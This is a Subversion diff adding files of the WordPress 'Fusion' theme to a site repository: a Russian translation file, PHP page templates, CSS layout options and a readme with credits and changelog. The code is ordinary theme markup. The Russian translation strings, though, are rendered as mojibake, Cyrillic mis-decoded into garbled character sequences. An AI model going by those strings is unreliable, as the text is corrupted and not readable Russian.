+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logout &raquo;"
+msgstr "ÐÑÑ
+ÐŸÐŽ &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Ð¡ Ð²ÐŸÐ·Ð²ÑÐ°ÑÐµÐœÐžÐµÐŒ, <strong>%s</strong>."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Change &raquo;"
+msgstr "Ð¡ÐŒÐµÐœÐžÑÑ &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Close &raquo;"
+msgstr "ÐÐ°ÐºÑÑÑÑ &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+msgid "Name"
+msgstr "ÐÐŒÑ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(required)"
+msgstr "(ÐŸÐ±ÑÐ·Ð°ÑÐµÐ»ÑÐœÐŸ)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "E-Mail"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(will not be published)"
+msgstr "(ÐœÐžÐºÑÐŸ ÐœÐµ ÑÐ·ÐœÐ°ÐµÑ)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:88
+msgid "Website"
+msgstr "Ð¡Ð°Ð¹Ñ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:106
+msgid "Submit Comment"
+msgstr "ÐÐŸÐŒÐŒÐµÐœÑÐžÑÐŸÐ²Ð°ÑÑ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:124
+msgid "No trackbacks yet."
+msgstr "ÐÐŸÐºÐ° ÐœÐž ÐŸÐŽÐžÐœ Ð±Ð»ÐŸÐ³ ÑÑÐŽÐ° ÐœÐµ ÑÑÑÐ»Ð°ÐµÑÑÑ. ÐÑÐŽÐµÑÑ Ð¿ÐµÑÐ²ÑÐŒ?"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:137
+msgid "Comments are closed."
+msgstr "Ð­ÑÐŸ ÐœÐµ ÐŸÐ±ÑÑÐ¶ÐŽÐ°ÐµÑÑÑ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:19
+msgid "Fusion theme by"
+msgstr "ÐÐžÐ·Ð°Ð¹Ðœ Fusion ÐŸÑ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:19
+msgid "powered by "
+msgstr "ÐÐµÑÐµÐ²ÐŸÐŽ <a href=\"http://ptath.ru\">ptath</a> | Ð Ð°Ð±ÐŸÑÐ°ÐµÑ ÐœÐ°"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:20
+msgid "Entries (RSS)"
+msgstr "ÐÐ±ÐœÐŸÐ²Ð»ÐµÐœÐžÑ (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:20
+msgid "and"
+msgstr "Ðž"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:20
+msgid "Comments (RSS)"
+msgstr "ÐÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐž (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:27
+msgid "Increase/Decrease text size"
+msgstr "Ð£Ð²ÐµÐ»ÐžÑÐžÑÑ/Ð£ÐŒÐµÐœÑÑÐžÑÑ ÑÐ°Ð·ÐŒÐµÑ ÑÐµÐºÑÑÐ°"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:28
+msgid "Switch between full and fixed width"
+msgstr "ÐÐµÑÐµÐºÐ»ÑÑÐ°ÑÐµÐ»Ñ ÑÐžÐºÑÐžÑÐŸÐ²Ð°ÐœÐœÐŸÐ¹ Ðž Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐŸÐ¹ ÑÐžÑÐžÐœÑ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:85
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:93
+msgid "Fusion Theme Options"
+msgstr "ÐÐ°ÑÑÑÐŸÐ¹ÐºÐž Fusion"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:96
+msgid "Meta keywords:"
+msgstr "ÐÐ»ÑÑÐµÐ²ÑÐµ ÑÐ»ÐŸÐ²Ð°:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Separate with commas"
+msgstr "Ð Ð°Ð·ÐŽÐµÐ»ÐµÐœÐœÑÐµ Ð·Ð°Ð¿ÑÑÑÐŒÐž"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Use custom logo image"
+msgstr "ÐÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ ÑÐ²ÐŸÐµ Ð»ÐŸÐ³ÐŸ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "You should export the logo image with transparency enabled"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Disable homepage tab"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Check this if you are using a static page as the homepage"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Show the categories as header tabs"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "(instead of pages)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default category block in the sidebar"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable the default search block in the sidebar"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Check if you don't like the theme-default search look"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Disable layout controls (Aa/<>)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:129
+msgid "Default page content width:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Fixed (960 pixels)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:137
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:141
+msgid "Sidebar position:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:144
+msgid "Right (default)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:148
+msgid "Left"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:154
+msgid "Disable jQuery and the associated code"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:154
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid "Custom CSS code"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check "
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid "to see existing styles, which you can redefine here."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:160
+msgid "Save Changes"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:209
+msgid "by"
+msgstr " "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:209
+#, php-format
+msgid "%1$s at %2$s"
+msgstr "%1$s Ð² %2$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:209
+msgid "H:i"
+msgstr "H:i:s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:213
+msgid "Your comment is awaiting moderation."
+msgstr "ÐÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐ¹ ÐŸÐ¶ÐžÐŽÐ°ÐµÑ ÐŒÐŸÐŽÐµÑÐ°ÑÐžÐž."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:223
+msgid "Reply"
+msgstr "ÐÑÐ²ÐµÑÐžÑÑ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:223
+msgid "Quote"
+msgstr "ÐŠÐžÑÐžÑÐŸÐ²Ð°ÑÑ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:157
+msgid "You are Home"
+msgstr "ÐÐ° Ð³Ð»Ð°Ð²ÐœÑÑ ÑÑÑÐ°ÐœÐžÑÑ Ð±Ð»ÐŸÐ³Ð°"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:157
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:159
+msgid "Home"
+msgstr "ÐÐ»ÐŸÐ³"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:159
+msgid "Click for Home"
+msgstr "ÐÐ°Ð¶ÐŒÐž ÐœÐ° ÐºÐœÐŸÐ¿ÐºÑ â Ð¿ÐŸÐ»ÑÑÐžÑÑ ÑÐµÐ·ÑÐ»ÑÑÐ°Ñ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:30
+msgid "This entry was posted on"
+msgstr "Ð­ÑÐŸÑ Ð¿ÐŸÑÑ Ð±ÑÐ» ÐŸÐ¿ÑÐ±Ð»ÐžÐºÐŸÐ²Ð°Ðœ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:32
+msgid "and is filed under"
+msgstr "Ðž Ð¿ÐŸÐŒÐµÑÐµÐœ Ð² ÑÑÐ±ÑÐžÐºÑ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:34
+msgid "You can follow any responses to this entry through"
+msgstr "Ð¢Ñ ÐŒÐŸÐ¶ÐµÑÑ ÐŸÑÑÐ»ÐµÐ¶ÐžÐ²Ð°ÑÑ ÐŸÐ±ÑÑÐ¶ÐŽÐµÐœÐžÐµ ÑÑÐŸÐ¹ Ð·Ð°Ð¿ÐžÑÐž Ñ Ð¿ÐŸÐŒÐŸÑÑÑ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:37
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "ÑÐ°ÐºÐ¶Ðµ ÐŒÐŸÐ¶ÐœÐŸ <a href=\"#respond\">ÐŸÑÑÐ°Ð²ÐžÑÑ ÐºÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐ¹</a> ÐžÐ»Ðž <a href=\"%s\" rel=\"trackback\">trackback</a> ÐœÐ° ÑÐ²ÐŸÐµÐŒ Ð±Ð»ÐŸÐ³Ðµ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:41
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "ÐÐ±ÑÑÐ¶ÐŽÐµÐœÐžÐµ Ð·Ð°ÐºÑÑÑÐŸ, ÐœÐŸ <a href=\"%s\" rel=\"trackback\">trackback</a> Ð²ÑÐµ ÐµÑÐµ ÐŒÐŸÐ¶ÐœÐŸ ÐŸÑÑÐ°Ð²ÐžÑÑ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:45
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "ÐÐŸÐ¶ÐœÐŸ ÐŸÑÑÐ°Ð²ÐžÑÑ ÐºÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐ¹. Ð¡ÑÑÐ»ÐºÐž Ñ ÐŽÑÑÐ³ÐžÑ
+ ÑÐ°Ð¹ÑÐŸÐ² ÐŸÑÐŸÐ±ÑÐ°Ð¶Ð°ÑÑÑÑ ÐœÐµ Ð±ÑÐŽÑÑ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Both comments and pings are currently closed."
+msgstr "ÐÐ±ÑÑÐ¶ÐŽÐµÐœÐžÐµ Ð·Ð°ÐºÑÑÑÐŸ. ÐÐºÐŸÐœÑÐ°ÑÐµÐ»ÑÐœÐŸ Ðž Ð±ÐµÑÐ¿ÐŸÐ²ÐŸÑÐŸÑÐœÐŸ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:51
+msgid "Edit this entry"
+msgstr "Ð ÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÑÑ ÑÑÑ Ð·Ð°Ð¿ÐžÑÑ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:56
+msgid "Sorry, no attachments matched your criteria."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:62
+msgid "Not Found"
+msgstr "ÐÐµ ÐœÐ°Ð¹ÐŽÐµÐœÐŸ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:63
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "Ð¥ÐŒ, Ð¿ÐŸÑ
+ÐŸÐ¶Ðµ ÑÑÐŸ ÑÑÑ ÐœÐžÑÐµÐ³ÐŸ ÐœÐµÑ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:10
+msgid "Links:"
+msgstr "Ð¡ÑÑÐ»ÐºÐž:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:20
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:21
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "Ð§ÐžÑÐ°ÑÑ ÐŽÐ°Ð»ÑÑÐµ &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:8
+msgid "Search Results"
+msgstr "Ð ÐµÐ·ÑÐ»ÑÑÐ°ÑÑ Ð¿ÐŸÐžÑÐºÐ°"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:40
+msgid "No posts found. Try a different search?"
+msgstr "ÐÐžÑÐµÐ³ÐŸ ÐœÐµ ÐœÐ°Ð¹ÐŽÐµÐœÐŸ. ÐÐŸÐ¶ÐµÑ, ÐµÑÐµ ÑÐ°Ð· Ð¿ÐŸÐžÑÐµÐŒ?"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "ÐÐŸÐžÑÐº"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:23
+#, php-format
+msgid "You are currently browsing the archives for the %1$s category."
+msgstr "Ð¢Ñ ÑÐµÐ¹ÑÐ°Ñ Ð¿ÑÐŸÑÐŒÐ°ÑÑÐžÐ²Ð°ÐµÑÑ Ð°ÑÑ
+ÐžÐ² ÑÑÐ±ÑÐžÐºÐž %1$s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:26
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:29
+#, php-format
+msgid "You are currently browsing the archives for %1$s"
+msgstr "Ð¢Ñ Ð¿ÑÐŸÑÐŒÐ°ÑÑÐžÐ²Ð°ÐµÑÑ Ð°ÑÑ
+ÐžÐ² %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:32
+#, php-format
+msgid "You are currently browsing the archives for the year %1$s"
+msgstr "Ð¢Ñ Ð¿ÑÐŸÑÐŒÐ°ÑÑÐžÐ²Ð°ÐµÑÑ Ð°ÑÑ
+ÐžÐ² Ð·Ð° %1$s Ð³ÐŸÐŽ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:35
+msgid "You have searched the archives for"
+msgstr "Ð ÐµÐ·ÑÐ»ÑÑÐ°ÑÑ Ð²ÑÐ±ÐŸÑÐºÐž"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:38
+msgid "You are currently browsing the archives."
+msgstr "Ð¢Ñ Ð¿ÑÐŸÑÐŒÐ°ÑÑÐžÐ²Ð°ÐµÑÑ ÑÐµÐ·ÑÐ»ÑÑÐ°ÑÑ Ð²ÑÐ±ÐŸÑÐºÐž."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:61
+msgid "Archives"
+msgstr "ÐÑÑ
+ÐžÐ²Ñ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:72
+msgid "Meta"
+msgstr "Ð£Ð¿ÑÐ°Ð²Ð»ÐµÐœÐžÐµ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:61
+msgid "Sorry, no posts matched your criteria."
+msgstr "ÐÐžÑÐµÐ³ÐŸ ÐœÐµ ÐŸÑÐ²ÐµÑÐ°ÐµÑ ÑÑÐ»ÐŸÐ²ÐžÑÐŒ Ð¿ÐŸÐžÑÐºÐ°. ÐÐ°Ð»Ñ."
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/links.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/links.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/links.php	(revision 44)
@@ -0,0 +1,21 @@
+<?php /* Fusion/digitalnature
+
+Template Name: Links 
+*/ ?>
+<?php get_header(); ?>
+
+
+  <!-- mid content -->
+  <div id="mid-content">
+ <h2><?php _e("Links:","fusion"); ?></h2>
+ <ul>
+  <?php wp_list_bookmarks(); ?>
+ </ul>
+  </div>
+    <!-- mid content -->
+   </div>
+   <!-- /mid -->
+
+    <?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/options/fluid.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/options/fluid.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/options/fluid.css	(revision 44)
@@ -0,0 +1,8 @@
+
+
+/* fluid width */
+
+#page{
+  width: 95%;
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/options/leftsidebar.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/options/leftsidebar.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/options/leftsidebar.css	(revision 44)
@@ -0,0 +1,36 @@
+
+/* sidebar to the left */
+
+#page.with-sidebar #main-wrap #mid-wrap { right:34%;  /* width of the sidebar  */ }
+#page.with-sidebar #main-wrap #side-wrap { right:66%; /* width of the main column */ }
+
+#page.with-sidebar #main-wrap #mid {
+  width:66%;			/* width of the main column */
+  left:134%;
+}
+
+#page.with-sidebar #main-wrap #sidebar {
+  width:34%;			/* width of the sidebar  */
+  left:34%;
+}
+
+
+/* if 2nd sidebar exists... */
+
+#page.with-sidebar2 #main-wrap #mid-wrap { right:20%;  /* width of the 2nd sidebar  */ }
+#page.with-sidebar2 #main-wrap #side-wrap { right:50%; /* width of the main column */ }
+
+#page.with-sidebar2 #main-wrap #mid {
+  width:50%;			/* width of the main column */
+  left:100%;
+}
+
+#page.with-sidebar2 #main-wrap #sidebar {
+  width:30%;			/* width of the sidebar  */
+  left:0%;
+}
+
+#page.with-sidebar2 #main-wrap #sidebar2 {
+  width:20%;            /* width of the 2nd sidebar */
+  left:100%;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/page-3col.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/page-3col.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/page-3col.php	(revision 44)
@@ -0,0 +1,37 @@
+<?php /* Fusion/digitalnature
+
+Template Name: 3-column page 
+*/ ?>
+<?php get_header(); ?>
+
+   <!-- mid content -->
+  <div id="mid-content">
+
+       <?php if (have_posts()) : while (have_posts()) : the_post(); ?>
+       <?php if (function_exists("post_class")) { ?>
+       <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+       <?php } else { ?>
+       <div class="post" id="post-<?php the_ID(); ?>">
+       <?php } ?>
+        <?php if (!get_post_meta($post->ID, 'hide_title', true)): ?><h2 class="left"><?php the_title(); ?></h2><?php endif; ?>
+        <p class="right"><span class="editlink page"><?php edit_post_link(''); ?></span></p>
+        <div class="clear"></div>
+        <div class="entry clearfix">
+    		<?php the_content(__('Read the rest of this page &raquo;', 'fusion')); ?>
+            <?php wp_link_pages(array('before' => '<p><strong>Pages:</strong> ', 'after' => '</p>', 'next_or_number' => 'number')); ?>
+        </div>
+       </div>
+       <?php endwhile; endif; ?>
+
+       <?php comments_template(); ?>
+
+
+    </div>
+    <!-- mid content -->
+   </div>
+   <!-- /mid -->
+
+   <?php include(TEMPLATEPATH . '/sidebar2.php'); ?>
+   <?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/page-nosidebar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/page-nosidebar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/page-nosidebar.php	(revision 44)
@@ -0,0 +1,33 @@
+<?php /* Fusion/digitalnature
+
+Template Name: Page without sidebar 
+*/ ?>
+<?php get_header(); ?>
+
+   <!-- mid content -->
+   <div id="mid-content">
+
+     <?php if (have_posts()) : while (have_posts()) : the_post(); ?>
+     <?php if (function_exists("post_class")) { ?>
+     <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+     <?php  } else { ?>
+     <div class="post" id="post-<?php the_ID(); ?>">
+     <?php } ?>
+      <?php if (!get_post_meta($post->ID, 'hide_title', true)): ?><h2 class="left"><?php the_title(); ?></h2><?php endif; ?>
+      <p class="right"><span class="editlink page"><?php edit_post_link(''); ?></span></p>
+      <div class="clear"></div>
+      <div class="entry clearfix">
+  		<?php the_content(__('Read the rest of this page &raquo;', 'fusion')); ?>
+          <?php wp_link_pages(array('before' => '<p><strong>Pages:</strong> ', 'after' => '</p>', 'next_or_number' => 'number')); ?>
+      </div>
+     </div>
+     <?php endwhile; endif; ?>
+
+
+     <?php comments_template(); ?>
+    </div>
+    <!-- mid content -->
+   </div>
+   <!-- /mid -->
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/page.php	(revision 44)
@@ -0,0 +1,29 @@
+<?php /* Fusion/digitalnature */ ?>
+<?php get_header(); ?>
+
+<!-- mid content -->
+<div id="mid-content">
+  <?php if (have_posts()) : while (have_posts()) : the_post(); ?>
+   <?php if (function_exists("post_class")) { ?>
+    <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+   <?php } else { ?>
+    <div class="post" id="post-<?php the_ID(); ?>">
+   <?php } ?>
+     <?php if (!get_post_meta($post->ID, 'hide_title', true)): ?><h2 class="left"><?php the_title(); ?></h2><?php endif; ?>
+     <p class="right"><span class="editlink page"><?php edit_post_link(''); ?></span></p>
+     <div class="clear"></div>
+     <div class="entry clearfix">
+      <?php the_content(__('Read the rest of this page &raquo;', 'fusion')); ?>
+      <?php wp_link_pages(array('before' => '<p><strong>Pages:</strong> ', 'after' => '</p>', 'next_or_number' => 'number')); ?>
+     </div>
+    </div>
+   <?php endwhile; endif; ?>
+   <?php comments_template(); ?>
+</div>
+<!-- mid content -->
+</div>
+<!-- /mid -->
+
+<?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/readme.txt	(revision 44)
@@ -0,0 +1,175 @@
+
+
+--- Fusion Wordpress template ---
+
+Project page: http://digitalnature.ro/projects/fusion/
+(report any bugs or suggest improvements here)
+
+Theme is licensed under GPL, please see http://www.opensource.org/licenses/gpl-license.php
+
+
+CREDITS:
+--------
+
+- Design, coding and romanian translation (v2.6) by digitalnature (M. Popovici), http://digitalnature.ro
+- Spanish translation, v2.6, bug-reports and improvements to comments by Miguel <blog@almendron.com>
+- Danish translation, v2.0 by Hans Cz. Jørgensen <hans.c.jorgensen@gmail.com>
+- French translation, v2.0 by Olivier Despont, http://www.semageek.com
+- German translation, v2.7 by Eloy Castro http://www.eloy.ch, Michael Liebwein, <michael.liebwein@googlemail.com>
+- Croatian translation, v2.1 by phobos, http://phobos.byethost22.com
+- Italian translation, v2.5 by Gabriele Brosulo, http://gabo.homelinux.com
+- Alternate Italian translation, v2.2 by Gianni Diurno, http://gidibao.net
+- Norwegian translation, v2.7 by Krister Berntsen, http://romteknologi.com, Dagfinn, http://afoto.com
+- Hungarian translation, v2.0 by Bálint Vereskuti, http://www.juventus-sopron.info
+- Portuguese (Brazilian) translation, v2.3 by Jonatã Bolzan
+- Korean translation, v2.3 by Jong-In Kim, http://incommunity.codex.kr/wordpress
+- Bengali translation (front-end), v2.3 by Sajid Muhaimin Choudhury, <robinboss@gmail.com>
+- Dutch translation, v2.6 by Jesse Klaasse, <jesseklaasse@hotmail.com>
+- Russian translation (front-end), v2.5 by ptath, http://ptath.ru/
+- Portuguese (Portugal) translation, v2.3 by "Jose Goncalves" <jgoncalves@primeit.pt>
+- Lithuanian translation, v2.6 by May <myliewood@gmail.com>
+- javascript quote functions by mg12, http://www.neoease.com
+
+To change the language, edit wp-config.php:
+  define ('WPLANG', 'ro_RO');
+(ro_RO is the Romanian language file from the theme lang folder)
+
+
+If you wish to contribute by translating the theme please write me a email to hello@digitalnature.ro
+Thanks to all who support this theme!
+
+
+
+CHANGE LOG:
+-----------
+
+ - 29-apr-2009: v2.7  - updated Spanish, Dutch, Norwegian, German translations
+                      - tab menus updates (fixed sub menus behind tabs when 2 ore more tab rows exist, made tab show as active when child page selected, fixed submenu js error when categories are displayed as tabs, fixed overflow bug)
+                      - some css adjustments (list items alignment, pre tag, sidebar h2 titles)
+                      - added check for "hide_title" custom field, from Yog
+                      - support for Yarpp 3.0 plugin
+                      - added Lithuanian language, thanks May!
+                      - author page bug-fix, again :) (missing info if author name contains spaces)  
+
+ -  5-apr-2009: v2.6  - important localization updates - removed some strings, added variables to others etc; translations before 2.6 will show as incomplete!
+                      - updated Romanian translation to 2.6 changes
+                      - updated Italian translation to 2.5
+                      - added Dutch translation (2.5), thanks Jesse!
+                      - fixed small bug in tab menus
+                      - added Russian translation (2.5), front-end only, thanks Ptath
+                      - removed ie7.css, not needed anymore since I found a alternative to the IE7 comment bug
+
+ - 16-mar-2009: v2.5  - added Korean translation, thanks Kim!
+                      - added Bengali translation, thanks Sajid!
+                      - added a subtle background to form fields
+
+ - 14-mar-2009: v2.4  - changed the basic layout structure and made sidebars fluid (34% and 20% of the page width)
+                      - added Portuguese translation, thanks Jonatã!
+                      - author page bug-fix (missing info if perma-links are enabled)
+                      - fixed a clearing issue for left or right aligned elements inside a post or page
+                      - fixed IE7 cleartype bug after fade in/out tabs
+                      - fixed IE7 Peekaboo bug on post entries
+                      - fixed IE5.5 page centering issue
+                      - no-sidebar template bug fix (forgot to open a php tag)
+
+ -  3-mar-2009: v2.3  - added Norwegian translation, thanks Dagfinn
+                      - added Italian translations, thanks Gabriele and Gianni!
+                      - added Hungarian translation, thanks Bálint!
+                      - fixed indent on comments when avatars are disabled
+                      - fixed small bug which made page-controls to not work with left sidebar and fluid width
+                      - added file check for logo image and renamed default logo to preserve changes on update
+                      - meta keywords and description are only present now if keywords exist in the theme options (because some people prefer SEO plugins, even if they are useless :)
+                      - styled calendar widget
+
+ - 22-feb-2009: v2.2  - added Author profile page
+                      - updated Spanish translation
+                      - added French translation, thanks Olivier!
+                      - added German translation, thanks Michael!
+                      - added Croatian translation, thanks Phobos!
+                      - removed "comments are closed" message on pages that have comments closed and no comments written before that.
+                      - small css/image optimizations
+                      - for the sake of compatibility, now loading js with wp_enqueue_script (revert to the Wordpress bundled jquery - 1.2.6)
+
+ - 15-feb-2009: v2.1  - added support for threaded comments (instead of reply button); make sure you have threaded comments enabled in WP-Admin
+                      - added optional 2nd sidebar and page templates: "page without sidebar", "3-column page", "archives" and "links" templates (to apply, see "template" attribute when editing a page)
+                      - added Danish translation, thanks Hans!
